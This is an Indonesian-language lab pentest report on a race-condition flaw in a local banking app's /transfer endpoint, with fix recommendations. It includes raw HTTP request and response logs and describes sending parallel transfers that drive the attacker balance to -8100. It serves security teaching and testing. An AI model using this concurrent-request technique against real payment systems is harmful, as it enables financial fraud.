Kembali ke indeks

LAB FAIL

Race Condition - Transfer - Balance Check

Race Condition — Transfer — Balance Check

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization · OWASP A04:2021 - Insecure Design

Kerentanan

[FAIL] Race Condition - Transfer - Balance Check

Deskripsi

Endpoint /transfer membaca saldo pengirim, memeriksa kecukupan dana, lalu menulis saldo baru sebagai operasi terpisah tanpa transaksi database atomik maupun penguncian baris. Sepuluh permintaan transfer yang dikirim bersamaan semuanya lolos pemeriksaan saldo menggunakan nilai lama yang sama sebelum satu pun penulisan selesai (TOCTOU).

Dampak

Integrity (Critical): penyerang dapat mengirim dana jauh melebihi saldo yang dimiliki. Pada pengujian, saldo pengirim jatuh menjadi negatif sementara saldo penerima bertambah penuh, sehingga uang tercipta dari ketiadaan. Pada sistem perbankan ini berarti kerugian finansial langsung dan pembukuan yang tidak konsisten.

CWE

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization

OWASP

A04:2021 - Insecure Design

Skenario

Normal: satu transfer dalam batas saldo berhasil, dan satu transfer melebihi saldo ditolak dengan pesan dana tidak cukup, membuktikan kontrol bekerja saat serial. Eksploitasi: sepuluh transfer senilai 900 dikirim paralel dari saldo yang jauh lebih kecil. Dampak: saldo pengirim menjadi negatif, total dana yang berpindah melampaui saldo yang pernah dimiliki.

Endpoint

POST http://127.0.0.1:5001/transfer

Fitur terdampak

Transfer dana antar rekening

Rekomendasi perbaikan

- Jalankan pemeriksaan saldo dan pendebetan dalam satu transaksi database atomik. - Kunci baris rekening pengirim (SELECT ... FOR UPDATE) atau gunakan pembaruan kondisional UPDATE ... SET balance = balance - x WHERE balance >= x. - Tambahkan constraint CHECK (balance >= 0) pada kolom saldo sebagai jaring pengaman. - Terapkan idempotency key dan rate limiting pada endpoint transfer.

Bukti konsep

  1. (Screenshot 1) NORMAL: transfer 100 dalam batas saldo -> berhasil.
  2. (Screenshot 2) NORMAL: transfer 5000 melebihi saldo -> ditolak, kontrol saldo bekerja secara serial.
  3. (Screenshot 3) BASELINE: saldo penyerang sebelum serangan = 900.0.
  4. (Screenshot 4) EKSPLOITASI: sepuluh transfer senilai 900 dikirim bersamaan -> seluruhnya dilaporkan sukses.
  5. (Screenshot 5) DAMPAK CIA: saldo penyerang menjadi -8100.0, bernilai negatif dan melampaui dana yang pernah dimiliki.

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json

{"to_account": "9159912486", "amount": 100}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 87
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:24 GMT

{
  "message": "Transfer Completed",
  "new_balance": 900.0,
  "status": "success"
}
Tangkapan layar
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 44
Content-Type: application/json

{"to_account": "9159912486", "amount": 5000}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 60
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:25 GMT

{
  "message": "Insufficient funds",
  "status": "error"
}
Tangkapan layar
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 117
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:26 GMT

{
  "account_number": "0932191785",
  "balance": 900.0,
  "status": "success",
  "username": "pentest_attacker"
}
Tangkapan layar
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json

{"to_account": "9159912486", "amount": 900}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 85
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:27 GMT

{
  "message": "Transfer Completed",
  "new_balance": 0.0,
  "status": "success"
}
Tangkapan layar
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:28 GMT

{
  "account_number": "0932191785",
  "balance": -8100.0,
  "status": "success",
  "username": "pentest_attacker"
}
Tangkapan layar

← Kasus sebelumnya: Path Traversal - Profile Picture - Upload Filename Kasus berikutnya: Security Misconfiguration - CORS - Wildcard Origin →